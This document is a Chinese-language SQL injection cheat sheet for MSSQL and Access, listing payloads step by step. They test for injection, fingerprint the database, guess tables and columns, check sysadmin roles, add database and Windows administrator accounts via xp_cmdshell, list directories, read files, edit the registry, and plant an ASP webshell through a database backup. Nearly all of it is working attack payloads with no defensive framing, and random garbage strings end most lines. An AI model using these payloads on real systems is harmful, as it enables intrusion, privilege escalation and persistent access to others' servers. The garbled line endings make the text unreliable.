1.判断是否有注入;and 1=1 ;and 1=2 ~[{| s')
2.初步判断是否是mssql ;and user>0 6{6tg>|L)
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3.注入参数是字符'and [查询条件] and ''=' U+z&jdnhDR
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 2= _.K(
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5.判断数据库系统 cVMTT]cj1
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;and (select count(*) from sysobjects)>0 mssql jB;+tDC!Co
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;and (select count(*) from msysobjects)>0 access R?(j#bk
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 W*0KAC`m
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ]5/C"
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 8{RiaF8
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9.(1)猜字段的ascii值(access) >HDK<1 >
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 )`)cB)s
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 L\UYt\ks
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10.测试权限结构(mssql) u=4Rn
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- >\e11OU0Gy
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- <K43f#%
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- l}m@9 ~oC
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- }\@*A1*X2
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- '&`Zy pq
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- qnOAIP:0
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;and 1=(select IS_MEMBER('db_owner'));-- 4x:fOhtP
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11.添加mssql和系统的帐户 ykZ)`E]P`
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;exec master.dbo.sp_addlogin username;-- *StJ5c_kg2
;exec master.dbo.sp_password null,username,password;-- U@9n7F
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- uB%`Bx'OW
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;exec master.dbo.xp_cmdshell 'net user username password =0Nd\
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- X0m\
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 1&dWt_\
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- @=$;^}JS|
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12.(1)遍历目录 !Ed';yfz\(
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;create table dirs(paths varchar(100), id int) [j5L}e!T
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;insert dirs exec master.dbo.xp_dirtree 'c:\' N(D_*% 96
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;and (select top 1 paths from dirs)>0 @Fo0uy\G
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) O%)w!0
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(2)遍历目录 -gzk,ymp
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- _Ab|<!a/R
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 C,Ch6Ph
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 :}Z+K*%o-
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 -\>Xtix^-c
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 !.9NJ2'8
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13.mssql中的存储过程 9] l7j\L
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xp_regenumvalues 注册表根键, 子键 (}'0K?
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 B&"fPi
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xp_regread 根键,子键,键值名 ucyxvhH^-
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;exec xp_regread _Nw-|N .
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 syMB~g
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xp_regwrite 根键,子键, 值名, 值类型, 值 euQd
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 -V(5U!^B
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 E:#VS~
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xp_regdeletevalue 根键,子键,值名 k{uc%6s
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 JWC{ "6
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ?k#-)inf)
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14.mssql的backup创建webshell hmQD-E{Ab
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use model *ZAue.
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create table cmd(str image); ?NJ\l5'
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insert into cmd(str) values ('');
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backup database model to disk='c:\l.asp'; N_h)L`
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15.mssql内置函数 |K7JU^"OQ
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;and (select @@version)>0 获得Windows的版本号 hK?uGt
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa y~jTI[kS
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;and (select user_name())>0 爆当前系统的连接用户 }m(u oT~
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;and (select db_name())>0 得到当前连接的数据库 &?v^xAr?B
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16.简洁的webshell XzkC ]e'
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use model u+kXJ
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create table cmd(str image); eE+zL~CE
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insert into cmd(str) values (''); ]&jXD=a"
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backup database model to disk='g:\wwwtest\l.asp';